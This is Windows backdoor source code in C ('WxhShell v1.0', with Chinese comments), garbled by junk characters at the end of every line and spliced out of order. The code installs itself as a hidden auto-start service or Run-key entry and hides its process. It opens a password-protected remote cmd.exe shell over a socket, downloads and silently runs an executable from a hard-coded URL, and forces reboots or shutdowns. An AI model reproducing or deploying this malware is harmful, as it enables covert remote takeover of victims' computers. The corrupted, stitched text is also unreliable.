    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $7Z)Yp&T  
    if(Boot(SHUTDOWN)) wpXgPVZT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,:)`+v<  
    else { 1!1!PA9u  
    closesocket(wsh); ZF6c{~D  
    ExitThread(0); x5h~G  
    } $A2n{  
    break; &<3&'*ueW  
    } ve Tx, \6@  
  // 获取shell !R'g59g  
  case 's': { UMU2^$\iS  
    CmdShell(wsh); :ofBzTNwZ  
    closesocket(wsh); ?A?F.n`  
    ExitThread(0); =Mj 0:rW  
    break; =dZHYO^Cv  
  } D3D}DaEYj  
  // 退出 =wVJ%  
  case 'x': { &xXEnV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *nC(-(r:J`  
    CloseIt(wsh); zF`3 gl.  
    break; rf.`h{!!  
    } 8)L*AdDAW!  
  // 离开 /@"Y^  
  case 'q': { :"Y*<=x#2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I|9 SiZ0  
    closesocket(wsh); ~g6 3qs  
    WSACleanup(); g^7MMlY%  
    exit(1); o*5U:'=5}  
    break; IgIYguQ   
        } /mA,F;   
  } X6\ sF"E  
  } >yB(lKV  
GbI-SbE  
  // 提示信息 H1/?+N}(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B07v^!Z>  
} "ZrOrdlg+A  
  } r)^vO+3u  
j8Cho5C  
  return; 15U(={  
} ,ho3  
q{0R=jb  
// shell模块句柄 :|+Qe e  
int CmdShell(SOCKET sock) oD9^ID+  
{ $pyOn2}  
STARTUPINFO si; [P~hjmJ(y  
ZeroMemory(&si,sizeof(si)); OsqN B'X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]QVNn?PA8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U75Jp%bL  
PROCESS_INFORMATION ProcessInfo; ]bZ(HC?KZr  
char cmdline[]="cmd"; rHjq1-t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FAsFjRS  
  return 0; - VxDNT}Tr  
} UC HZ2&  
3]RyTQ  
// 自身启动模式 +Q$h ]^>~  
int StartFromService(void) Wp)*Mbq@  
{ Lfog {Vzs  
typedef struct #]P9b@@e  
{ 83%)/_&  
  DWORD ExitStatus; 6$\jAd|  
  DWORD PebBaseAddress; _8,()t'"  
  DWORD AffinityMask; |`TgX@,#9  
  DWORD BasePriority; En{`@JsM  
  ULONG UniqueProcessId; 1r Ky@9   
  ULONG InheritedFromUniqueProcessId; M_g ?<rK  
}   PROCESS_BASIC_INFORMATION; @$9'@")  
F$BbYf2i  
PROCNTQSIP NtQueryInformationProcess; V#REjsf,t-  
#@HF<'H}mu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $+p?Y)h .  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LbEM^ D  
UT0){%2@  
  HANDLE             hProcess; [NMVoBvG  
  PROCESS_BASIC_INFORMATION pbi; u .f= te  
21hv%CF\9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^XbU~3(  
  if(NULL == hInst ) return 0; }}v9 `F  
6AG`&'"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I$q]. B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vM:cWat  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a=cvCf  
Ar*^ ;/  
  if (!NtQueryInformationProcess) return 0; #Cpd9|  
@+3kb.P%7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .p0Clr!  
  if(!hProcess) return 0; HY)-/  
v ~QHMg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xtt ? ]  
wO?{?+I`q  
  CloseHandle(hProcess); *na?n2Yzt  
A,sr[Pa@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V|(H|9  
if(hProcess==NULL) return 0; 8J$|NYv_b  
9mA{K    
HMODULE hMod; .X# `k  
char procName[255]; vz.>~HBP  
unsigned long cbNeeded; fhL,aCS=  
nt*Hc1I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R2Zgx\VV'  
MxT-1&XL  
  CloseHandle(hProcess); |$?bc3  
_ODbY;M  
if(strstr(procName,"services")) return 1; // 以服务启动 ,eTU/Q>{,&  
T5a*z}L5  
  return 0; // 注册表启动 h1'\:N`  
} :VTTh |E%#  
ULMu19>  
// 主模块 I f\fLhM  
int StartWxhshell(LPSTR lpCmdLine) 6DH~dL_",%  
{ "g$IP9?U  
  SOCKET wsl; /p8dZ+X  
BOOL val=TRUE; O,Cb"{qH8  
  int port=0; nBk)WX&[K  
  struct sockaddr_in door; uj :%#u  
BNL;Biy t7  
  if(wscfg.ws_autoins) Install(); uEX!xx?Q#  
JvY}-}?c  
port=atoi(lpCmdLine); H$y-8-&)  
0`^&9nR  
if(port<=0) port=wscfg.ws_port; |JQQU! x  
293M\5:  
  WSADATA data; o!)3?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #O+),,WS  
)c `7( nY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7(pF[LCF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I:mr}mv=i  
  door.sin_family = AF_INET; C.FI~Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ."9];)2rx  
  door.sin_port = htons(port); HDF |{  
l<A|d{"]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #{?qNl8F*J  
closesocket(wsl); zAiXo__x  
return 1; rx]  @A  
} ax(c#  
V#iPj'*   
  if(listen(wsl,2) == INVALID_SOCKET) { V,%=AR5  
closesocket(wsl); S:O O0<W  
return 1; xL\0B,]  
} thI F&  
  Wxhshell(wsl); Evedc*z~P  
  WSACleanup(); 97}OL`y  
"'t0h{W r8  
return 0; .>WxDQIo  
C#Na&m  
} ; #&yn=^  
XT4{Pe7{[P  
// 以NT服务方式启动 (L/_^!ZX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O6LS(5j2  
{ "hsb8-  
DWORD   status = 0; c-(UhN3WG  
  DWORD   specificError = 0xfffffff; ]7RD"}  
d8c=L8~jt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R^Y <RI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |&zz,+E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ee^{hQi  
  serviceStatus.dwWin32ExitCode     = 0; ?!` /m|"  
  serviceStatus.dwServiceSpecificExitCode = 0; ;IZwTXu!S  
  serviceStatus.dwCheckPoint       = 0; c}2jmwq  
  serviceStatus.dwWaitHint       = 0; eQ]~dA8>  
0 eDHu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m)'=G%y  
  if (hServiceStatusHandle==0) return; $w`=z<2yo1  
=`H@%  
status = GetLastError(); 'F9jq  
  if (status!=NO_ERROR) tM'P m   
{ =Jyu4j *}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iMDM1}b  
    serviceStatus.dwCheckPoint       = 0; E? ; 0)'h  
    serviceStatus.dwWaitHint       = 0; T7hcnF$  
    serviceStatus.dwWin32ExitCode     = status; y.< m#Zzt  
    serviceStatus.dwServiceSpecificExitCode = specificError; %5"9</a&G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G$F<$  
    return; pSdI/Vj'=  
  } @eKec1<  
ddJe=PUb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X:nN0p #  
  serviceStatus.dwCheckPoint       = 0; "W955?4m  
  serviceStatus.dwWaitHint       = 0; W *),y:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <^5Z:n!q  
} t*1fLumXR  
7`DBS^O]dG  
// 处理NT服务事件,比如:启动、停止 $#9;)8J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .uMn0PE   
{ o<pf#tifv  
switch(fdwControl)  +|n*b  
{ JR@`2YP-  
case SERVICE_CONTROL_STOP: i#vYyVr[  
  serviceStatus.dwWin32ExitCode = 0; gc-@"wI?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G}b]w~ML ~  
  serviceStatus.dwCheckPoint   = 0; #Y a4ps_  
  serviceStatus.dwWaitHint     = 0; ix)M`F%P3  
  { RC7]'4o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4NheWM6  
  } UCB/=k^m  
  return; Qp_isU  
case SERVICE_CONTROL_PAUSE: Bg x'9p/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Je0CD=e`  
  break; 3q\,$*D.  
case SERVICE_CONTROL_CONTINUE: KBx6NU?;PO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^:^9l1]  
  break; eg;~zv  
case SERVICE_CONTROL_INTERROGATE: Z`ID+  
  break; 5B3G @KR  
}; \fz<.l]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A$Hfr8w1u  
} R{<kW9!  
Q ayPo]O  
// 标准应用程序主函数 8]/bK5`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _E@2ZnD2  
{ hKL4cpK4  
f!Y?S  
// 获取操作系统版本 5YE'L.  
OsIsNt=GetOsVer(); DgId_\Ze  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sBvzAVBL  
;- ~B)M_S`  
  // 从命令行安装 tE<H|_{L  
  if(strpbrk(lpCmdLine,"iI")) Install(); K*K,}W&}  
D#cyOrzy  
  // 下载执行文件 RzE_K'M  
if(wscfg.ws_downexe) { saBVgSd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]%@M>?Ywc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4i)1'{e  
} %[Wh [zZy  
\XCe22x]  
if(!OsIsNt) { EE&K0<?T|:  
// 如果时win9x,隐藏进程并且设置为注册表启动 1"MhGNynB>  
HideProc(); riY~%9iV'  
StartWxhshell(lpCmdLine); {FeDvhv  
} t5\-v_mG=&  
else Cjm`|~&e+  
  if(StartFromService()) IA8f*]?  
  // 以服务方式启动 U)fc*s  
  StartServiceCtrlDispatcher(DispatchTable); Rr&h!YMb  
else JjtNP)We  
  // 普通方式启动 yVU^M?`#  
  StartWxhshell(lpCmdLine); ]!?;@$wx  
e^6)Zz1\  
return 0; <wN}X#M  
} Y,<{vLEC  
ey7 f9  
+h|`/ &,  
+"\sc;6m.  
=========================================== P+@/O  
0L2F[TN  
DR5\45v  
36}?dRw#p  
ak$f"py x  
X`kk]8 =  
" lA| 5E?  
'N (:@]4N  
#include <stdio.h> (-UYB9s  
#include <string.h> [+2[`K c]  
#include <windows.h> KKj a/p  
#include <winsock2.h> aL+ o /  
#include <winsvc.h> T0wW<_jh  
#include <urlmon.h> HJ=:8:  
!![DJ  
#pragma comment (lib, "Ws2_32.lib") X9v.1s,  
#pragma comment (lib, "urlmon.lib") w1EXh  
-; s|  
#define MAX_USER   100 // 最大客户端连接数 xI#9  
#define BUF_SOCK   200 // sock buffer Qp)v?k ]  
#define KEY_BUFF   255 // 输入 buffer oR)Jznmi}  
@Q)OGjaq  
#define REBOOT     0   // 重启 U6glp@s  
#define SHUTDOWN   1   // 关机 kyR:[+je  
uw>Ba %5  
#define DEF_PORT   5000 // 监听端口 g1/:Q%R,  
pnl{&<$C%C  
#define REG_LEN     16   // 注册表键长度 jwc)Lj}  
#define SVC_LEN     80   // NT服务名长度 E:UW#S%A f  
fiK6@,  
// 从dll定义API }"nItcp.1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >,V9H$n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x|/|jzJSX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >N^Jj:~l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $ Xv*,Bq  
nsu@h  
// wxhshell配置信息 k3lS8d7  
struct WSCFG { bn|I> e  
  int ws_port;         // 监听端口 CKYc\<zR0l  
  char ws_passstr[REG_LEN]; // 口令 :%l TU  
  int ws_autoins;       // 安装标记, 1=yes 0=no 27eooY1  
  char ws_regname[REG_LEN]; // 注册表键名 Jj; L3S  
  char ws_svcname[REG_LEN]; // 服务名 py$Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z`.<U{5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dN$0OS`s[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y;35WtDVb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0.`/X66;V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z;h t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q- cFtu-w  
((YMVe  
}; wL+s8#{  
QyEn pZ8?a  
// default Wxhshell configuration *RI]?j%B  
struct WSCFG wscfg={DEF_PORT, (!ux+K  
    "xuhuanlingzhe", )tC5Hijq,  
    1, 8 }I$'x  
    "Wxhshell", LdYB7T,  
    "Wxhshell", v> LIvi|]  
            "WxhShell Service", h9t$Uz^N  
    "Wrsky Windows CmdShell Service", MU`1LHg  
    "Please Input Your Password: ", 0at/c-K`  
  1, R6` WN  
  "http://www.wrsky.com/wxhshell.exe", iOd&B B6  
  "Wxhshell.exe" <wk!hTm W  
    }; qmkAg }2  
lEH65;Nh*  
// 消息定义模块 _F6OM5F"N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :i0uPh\0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $njUXSQ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S3q&rqarC%  
char *msg_ws_ext="\n\rExit."; 4`4kfiS$  
char *msg_ws_end="\n\rQuit."; 8r*E-akuyr  
char *msg_ws_boot="\n\rReboot..."; cXA i k-  
char *msg_ws_poff="\n\rShutdown..."; Eq%}  
char *msg_ws_down="\n\rSave to "; Y@;CF  
&C `Gg<  
char *msg_ws_err="\n\rErr!"; E(*0jAvO[z  
char *msg_ws_ok="\n\rOK!"; J?*1*h  
DwM)r7<Ex  
char ExeFile[MAX_PATH]; 9 &$y}Y  
int nUser = 0; -WY<zJ  
HANDLE handles[MAX_USER]; 7o7)0l9!  
int OsIsNt; 0eT(J7[ <  
LoURC$lS  
SERVICE_STATUS       serviceStatus; UE8kpa)cQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bg!/%[ {M  
Y4J3-wK5  
// 函数声明 j_qbAP  
int Install(void); 4V{:uuI;f  
int Uninstall(void); []\+k31D  
int DownloadFile(char *sURL, SOCKET wsh); w;%.2VJ  
int Boot(int flag); GoJ.&aH $  
void HideProc(void); KI.q@zO6|  
int GetOsVer(void); 6/f7<  
int Wxhshell(SOCKET wsl); y%&q/tk  
void TalkWithClient(void *cs); S 8kCp;  
int CmdShell(SOCKET sock); bHY=x}Hv  
int StartFromService(void); }fp-pe69z  
int StartWxhshell(LPSTR lpCmdLine); (o 5s"b  
Q7HRzA^-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sgeh %f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i[O& )N,c  
`fA@hK   
// 数据结构和表定义 ^7 w+l @  
SERVICE_TABLE_ENTRY DispatchTable[] = `{f}3bO7C  
{ vHgi <@u  
{wscfg.ws_svcname, NTServiceMain}, 8+~ >E  
{NULL, NULL} q;B4WL}  
}; h\$$JeSV]  
#Vnkvvv  
// 自我安装 kDEXN  
int Install(void) .u)X3..J  
{ iJ ($YvF4  
  char svExeFile[MAX_PATH]; Y[ j6u\y  
  HKEY key; 6O7'!@@  
  strcpy(svExeFile,ExeFile); XPavReGf  
h&M{]E9=  
// 如果是win9x系统,修改注册表设为自启动 h}>"j%I  
if(!OsIsNt) { .r|tSfm6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &pP;Neh;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 034iK[ib"  
  RegCloseKey(key); |T<_5Ik  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c/:b.>W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Zun&b)S  
  RegCloseKey(key); 5-FQMXgThc  
  return 0; 2Sle#nw3  
    } sZ3KT&  
  } S50k>_a;  
} s,"]aew  
else { EB0TTJR?#  
]RZ|u*l=x  
// 如果是NT以上系统,安装为系统服务 &9.Cl;I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wjo[ENHM  
if (schSCManager!=0) vt/x ,Y  
{ cb@?}(aFl  
  SC_HANDLE schService = CreateService ](Xb _xMf  
  ( %@<8<6&q  
  schSCManager, fnpYT:%fG  
  wscfg.ws_svcname, Y@NNrGDkT*  
  wscfg.ws_svcdisp, \e:7)R2<!x  
  SERVICE_ALL_ACCESS, 5^}\4.eXo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9)D6Nm  
  SERVICE_AUTO_START, ]RwpX ^ 1  
  SERVICE_ERROR_NORMAL, ,bZL C  
  svExeFile, ,dv+p&Tz2  
  NULL, -{KQr1{5UM  
  NULL, [xbSYu,&  
  NULL, {yBs7[Wn  
  NULL, 1m'k|Ka  
  NULL ,[N%Q#  
  ); "x#-sZ=  
  if (schService!=0) +UCG0D  
  { '<gI8W</  
  CloseServiceHandle(schService); raW>xOivR  
  CloseServiceHandle(schSCManager); g!|=%(G=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [NF'oRRD9s  
  strcat(svExeFile,wscfg.ws_svcname); ^dI424  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kPKB|kP\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,j#XOy`mzy  
  RegCloseKey(key); V"[g.%%Y  
  return 0; ; 8_{e3s  
    } hE &xE;  
  } G ?9"Y%  
  CloseServiceHandle(schSCManager); _Ym]Mj' ln  
} ##q2mm:a9P  
} q?Cnav`DY  
gK+ 4C  
return 1; @Y?#Sl*  
} R1s`z|?  
AKY1o.>z  
// 自我卸载 Mhm@R@  
int Uninstall(void) 1]d!~  
{ ,D5cjaX<  
  HKEY key; d}Xr}  
gx-2v|pZ  
if(!OsIsNt) { Vk` h2BV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mJ<=n?{Z  
  RegDeleteValue(key,wscfg.ws_regname); Qu"8(Jk/  
  RegCloseKey(key); S\^P ha q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 32(^Te]:  
  RegDeleteValue(key,wscfg.ws_regname); t;){D:]k  
  RegCloseKey(key); &]Q@7Nl7:l  
  return 0; o m!!Sl3  
  } /hpY f]t  
} c|f<u{'  
} l\f*d6o  
else { B=U 3  
y3vdUauOn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dR K?~1  
if (schSCManager!=0) bes<qy  
{ 4M^= nae  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oxr#7Ei0d  
  if (schService!=0) bs+f,j-oBN  
  { I.I`6(Cb  
  if(DeleteService(schService)!=0) { )i6mzzj5  
  CloseServiceHandle(schService); &`h{i K7  
  CloseServiceHandle(schSCManager); !'Ak&j1:`  
  return 0;  ''|W9!  
  } f<GhkDPm>?  
  CloseServiceHandle(schService); Y h7rU?Gj  
  } u]:oZMnj  
  CloseServiceHandle(schSCManager); {0r0\D>bw  
} V[mT<Lc  
} )z>|4@,  
Qo>b*Ku;  
return 1; @<,X0S  
} -6Z\qxKqZ  
$5 >e  
// 从指定url下载文件 },uF 4M.K  
int DownloadFile(char *sURL, SOCKET wsh) +20G>y=+  
{ #+JG(^%B  
  HRESULT hr; 4d"r^y'  
char seps[]= "/"; 1v#%Ei$6`t  
char *token; \ S_Ou   
char *file; G3t xj  
char myURL[MAX_PATH]; }#3V+X  
char myFILE[MAX_PATH]; .b_)%jd x  
y@1+I ~@  
strcpy(myURL,sURL); >d@&2FTO  
  token=strtok(myURL,seps); uMUBh 80,L  
  while(token!=NULL) 85>05 ?  
  { .GbX]?dN  
    file=token; W=lyIb{?^0  
  token=strtok(NULL,seps); mD/9J5:  
  } @efh{  
"_P;2N6  
GetCurrentDirectory(MAX_PATH,myFILE); 8<5]\X  
strcat(myFILE, "\\"); rW<KKGsRWQ  
strcat(myFILE, file); +\x,HsUc"  
  send(wsh,myFILE,strlen(myFILE),0); [2>yYr s_=  
send(wsh,"...",3,0); Y2|#V#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3s5z UT;  
  if(hr==S_OK) RPwbTAl}  
return 0; ycc4W*]  
else }q`ts=dlGt  
return 1; +00b)TF  
[v7F1@6b  
} wrviR  
-M~8{buxv  
// 系统电源模块 ,aOl_o -&  
int Boot(int flag) _> f`!PlB|  
{ R$v[!A+:'  
  HANDLE hToken; >~#yu&*D  
  TOKEN_PRIVILEGES tkp; B`YTl~4  
9Q.rMs>qj  
  if(OsIsNt) { S O4u9V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dW)B1iUo!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2$9odD<r  
    tkp.PrivilegeCount = 1; -] LY,M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 eR-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *jLJcb*.Ap  
if(flag==REBOOT) { z-BXd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $:BKzHmg  
  return 0; l~1Oef#y  
} &]g}u5J!=  
else { 6 uv#de  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bNm#tmSt  
  return 0; ICpAt~3[M  
} jGJLSEe_  
  } .RE:;<|w  
  else { 2^Eg9y'  
if(flag==REBOOT) { fA&k`L(y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k@\ iGqo  
  return 0; VX].3=T8  
} cIUHa  
else { \}+_Fo/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EtJHR  
  return 0; `V=N*hv`  
} Ld\R:{M"  
} j-0z5|*KE  
lyIl-!|  
return 1; eds o2  
} kv]~'Srk  
Z"Zmo>cV4  
// win9x进程隐藏模块 +Um( h-;  
void HideProc(void) I*%-cA%l  
{ G(Lzf(  
o#;b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vmi+_]   
  if ( hKernel != NULL ) bT\1>  
  { 4 <9=5q]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BYpG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _?<|{O  
    FreeLibrary(hKernel); 7zA'ri3w  
  } 8R2QZXJb-  
Jy^u?  
return; >5_2_Y$"  
} "/)#O~  
Diy8gt  
// 获取操作系统版本 ztnFhJ<a$  
int GetOsVer(void) MPCBT!o4Z  
{ M:XSQ["6>V  
  OSVERSIONINFO winfo; U [*FCD!~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V E#Wb7  
  GetVersionEx(&winfo); c(J!~7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1cxrH+N  
  return 1; O|\J}rm'  
  else c$ao:nP)D  
  return 0; ^2+yHw  
} p%#<D9S  
FFV `P  
// 客户端句柄模块 U}&2k  
int Wxhshell(SOCKET wsl) Hv!U| L  
{ `lQ3C{}  
  SOCKET wsh; $Oq^jUJ  
  struct sockaddr_in client; ]*v dSr-J  
  DWORD myID; j`oy`78O  
tU4s'J  
  while(nUser<MAX_USER) R,gR;Aarw  
{ \Npxv  
  int nSize=sizeof(client); Q(@U2a8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3cFf#a#  
  if(wsh==INVALID_SOCKET) return 1; AZ0;3<FfLp  
H+1-]'g`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L\Aq6q@c  
if(handles[nUser]==0) 9`wZz~hL"  
  closesocket(wsh); <nE>XAI_7  
else `q?8A3A  
  nUser++; j!_;1++q  
  } H#NCi~M>3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %4ePc-  
_  <WJ7  
  return 0; 2#P* ,  
} 3wOZ4<B  
M*!agh  
// 关闭 socket lU @]@_<  
void CloseIt(SOCKET wsh) b8~Bazk  
{ C3*gn}[  
closesocket(wsh); I2TaT(e\  
nUser--; d_CKP"TA  
ExitThread(0); `)` n(B  
} 0C1pt5K  
o4j[p3$  
// 客户端请求句柄 cimp/n"  
void TalkWithClient(void *cs) O?)3VT*  
{ *194{ ep  
jNTjSX  
  SOCKET wsh=(SOCKET)cs; /~}}"zx&  
  char pwd[SVC_LEN]; `Zf^E >)  
  char cmd[KEY_BUFF]; 1HXjN~XF  
char chr[1]; DAS/43\  
int i,j; p=;=w_^y  
O]lSWEe  
  while (nUser < MAX_USER) { ~5_Ad\n9  
pv*,gSS  
if(wscfg.ws_passstr) { Y'yH;M z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (}a8"]Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9bP^`\K[N  
  //ZeroMemory(pwd,KEY_BUFF); q-.,nMUF  
      i=0; SNfr"2c'h~  
  while(i<SVC_LEN) { |k+8<\  
?,p;O  
  // 设置超时 +,2:g}5  
  fd_set FdRead; )T';qm0w  
  struct timeval TimeOut; RM K"o?  
  FD_ZERO(&FdRead); eb.O#Y  
  FD_SET(wsh,&FdRead); 3x5JFM  
  TimeOut.tv_sec=8; |rJ=Ksc  
  TimeOut.tv_usec=0; t0o`-d(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 21 O'M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .P;*Dws  
KB%"bqB|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r YogW!  
  pwd=chr[0]; %`OJ.:k  
  if(chr[0]==0xd || chr[0]==0xa) { o}W%I/s  
  pwd=0;  `dFq:8v  
  break; *FC=X)_&W  
  } P\w\N2  
  i++; eCN })An  
    } "l*Pd$sr  
fF?z|  
  // 如果是非法用户,关闭 socket N"8_S0=pw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #.it]Nv{  
} AB F"~=aL  
,$+lFv3LE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c\iA89msp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =; ^%(%Y{m  
l ;JA8o\x  
while(1) { (^@ra$.  
fG}tMSI  
  ZeroMemory(cmd,KEY_BUFF); Y,W uBH  
#cnq(S=.  
      // 自动支持客户端 telnet标准   L[^9E'L$  
  j=0; {p;zuCF1  
  while(j<KEY_BUFF) { ~;1l9^N|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~KW,kyXBnD  
  cmd[j]=chr[0]; +s,Qmmb7)  
  if(chr[0]==0xa || chr[0]==0xd) { g6Q!8  
  cmd[j]=0; 7N-w eX  
  break; Fz1_w$^  
  } f#?fxUH~  
  j++; h!&prYx  
    } 94+KdHAo^M  
wT `a3Ymm  
  // 下载文件 Q7R~{5r>W  
  if(strstr(cmd,"http://")) { ZT,B(#m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T? tG~  
  if(DownloadFile(cmd,wsh)) j:k[90  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '`eO\huf  
  else KMU4n-s"o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \=uKHNP?#  
  } U4gF(Q  
